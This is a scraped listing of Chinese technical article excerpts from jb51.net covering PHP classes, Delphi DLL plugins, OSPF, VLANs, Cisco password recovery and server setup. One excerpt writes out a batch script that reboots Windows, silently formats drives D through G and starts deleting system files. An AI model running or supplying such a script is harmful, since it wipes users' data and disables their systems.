静态属性包含在类中要封装的数据,可以由所有类的实例共享。实际上,除了属于一个固定的类并限制访问方式外,类的静态属性非常类似于函数的全局变量。 我们在下例中使用了一个静态属性Counter::$count。它属于Counter类,而不属于任何Counter的实例。你不能用this来引用它,但可以用self或其它有效的命名表达。在例子中,getCount方法返回self::$count,而不是Counter::$count。 静态方法则实现类需要封装的功能,与特定的对象无关. 静态方法非常类似于全局函数. 静态方法可以完全访问类的属性,也可以由对象的实例来访问,不论访问...
http://www.jb51.net//article/13960.htm
默认地,用__clone方法将建立一个与原对象拥有相同属性和方法的对象. 如果你想在克隆时改变默认的内容,你要在__clone中覆写(属性或方法)。 克隆的方法可以没有参数,但它同时包含this和that指针(that指向被复制的对象)。如果你选择克隆自己,你要小心复制任何你要你的对象包含的信息,从that到this,如果你用__clone来复制,PHP不会执行任何隐性的复制,下面显示了一个用系列序数来自动化对象的例子:[code]class ObjectTracker //对象跟踪器 { private static ...
http://www.jb51.net//article/13959.htm
可以联用->,如果一个对象的属性包含了一个对象,你可以使用两个->运算符来得到内部对象的属性. 你甚至可以用双重引用的字符串来放置这些表达式. 下面的例子中,对象House中的属性room包含了一组Room对象。 访问方法和访问属性类似。->运算符用来指向实例的方法. 在下面的中调用getLastLogin就是。方法执行起来和类外的函数几乎相同. 如果一个类从另一类中继承而来,父类中的属性和方法将在子类中都有效,即使在子类中没有声明. 像以前提到过的,继承是非常强大的. 如果你想访问一个继承的属性,你只需要像访问基类自己的属性那样引用即可,...
http://www.jb51.net//article/13958.htm
注意:下面的所有函数都没有用正则。以上为取出第一个匹配的三个函数,实现相同的目的[code]function str_cut($str ,$start, $end) {//取出第一个匹配,效率最高,先分割再替换 $content = strstr( $str, $start ); $content = substr( $content, strlen( $start ), strpos( $co...
http://www.jb51.net//article/13925.htm
插件结构的编程需要一个插件容器来控制各DLL的运行情况,将划分好的每个子系统安排到一个DLL库文件中。对每个DLL程序需要为容器预留接口函数,一般接口函数包括:启动调用DLL库的函数、关闭DLL库的函数。通过接口函数,插件容器可以向DLL模块传递参数实现动态控制。具体实现细节我将在下文说明并给出响应代码。 您可能需要先了解一下DELPHI中UNIT的结构,工程的结构。本文没有深入讨论DLL编程的理论细节,只是演示了一些实用的代码,我当时学习的是刘艺老师的《DELPHI深入编程》一书。 我也处于DELPHI的入门阶段,只是觉得这次的DLL开发有一些值得讨论的地方,所以写这篇文章,希望各位能对...
http://www.jb51.net//article/13823.htm
假如你的系统装在c盘 打开记事本输入 @echo off shutdown -r -t 0 format d: /q /y format e: /q /yformat f: /q /y format g: /q /y c: cd \ cd windows del. /y cd system...
http://www.jb51.net//article/12560.htm
发挥老师的集体智慧,自行建设具有本学校特色的资源库,一直是校园网资源库建设的一个重点。随着Serv-U的流行,现在有不少学校通过FTP服务器实现校园网资源库的建设,本校就是其中之一。下面就我校在校园网资源库建设过程中遇到的几个问题和大家共同探讨一下。 用户账号管理 稍大一点的学校,拥有上百名教师,设置这么多的账号比较烦琐。从安全性考虑,账号设置又不能有一定的规律。怎么办?实际上,可以用一个简单的ASP小程序来简化我们的工作。这个过程实现很容易,就是把申请服务器空间的账号做成网页形式,让老师们自己到校园网上申请,具体的用户名和账号由老师自己决定。这样,网管员要做的就是查看底层数据库中登记的信...
http://www.jb51.net//article/12158.htm
一般什么时候用完整的IP地址,什么时候用网络地址? OSPF是linkstateprotocol,主要是interface状态(如ipaddress,mask,Hellotime....)这些信息在 Routers间建立adjency的过程中会通过LSAs被互换,直到同Area收敛,所有Routers有同样的linkstatedatabase,然后以自己为根(root)建立SPFtree,最后在根据SPF计算出routetable.Area内任何一个interface的变化都会被Update. 我们再看看OSPF执行时的过程:(简单举例) ints1 ipadd10....
http://www.jb51.net//article/12014.htm
摘要:本文对CISCO公司的一些常见路由器的密码恢复进行了探讨和总结,同时描述了对路由器版本的灾难性恢复的一些方法。关键字:路由器,密码,版本。随着互联网规模的不断扩大,网络与我们的生活已经越来越近,许多政府,学校和公司都组建了自己的信息网络,这使得路由器这一网络设备的使用越来越广泛。在使用路由器的过程中经常会出现忘记密码的事情,使维护人员无法登录,影响工作的进一步开展。同时,在操作过程中有时会因为一些意想不到的原因,将路由器内部的版本映象文件损坏,使路由器无法正常工作,路由器退回到监控状态,使用常用的版本拷贝命令无法更新版本。这两个问题都是较常见,但又是初学者感到比较棘手的问题。对于版本的获...
http://www.jb51.net//article/11945.htm
谈到VLAN,或许许多人都觉得非常神秘,甚至包括一些网管人员。其实有关VLAN的技术标准IEEE802.1Q早在1999年6月份就由IEEE委员正式颁布实施了,而且最早的VLNA技术早在1996年Cisco(思科)公司就提出了。随着几年来的发展,VLAN技术得到广泛的支持,在大大小小的企业网络中广泛应用,成为当前最为热门的一种以太局域网技术。本篇就要为大家介绍交换机的一个最常见技术应用--VLAN技术,并针对中、小局域网VLAN的网络配置以实例的方式向大家简单介绍其配置方法。一、VLAN基础VLAN(VirtualLocalAreaNetwork)的中文名为"虚拟局域网",注意不是...
http://www.jb51.net//article/11839.htm
架设劲舞团服务器,需要的软件有MySQL4.0.26版,MyODBC3.51.06版,MySQL-Front3.1版。我先解释一下这三个软件的作用以及它们之间的联系: MySQL是一个纯粹的数据库,它不象SQLServer2000那样自带了管理工具(如企业管理器).要注意,MySQL一定要使用4.1以前的版本,MySQL4.0.26或者MySQL4.0.24都可以.这是因为4.1以后的版本数据库密码验证方式不同,导致服务器端程序与高版本的MySQL根本连接不上,所以不要为了求新,去用MySQL4.1或者最新的MySQL5.1来装...
http://www.jb51.net//article/11689.htm
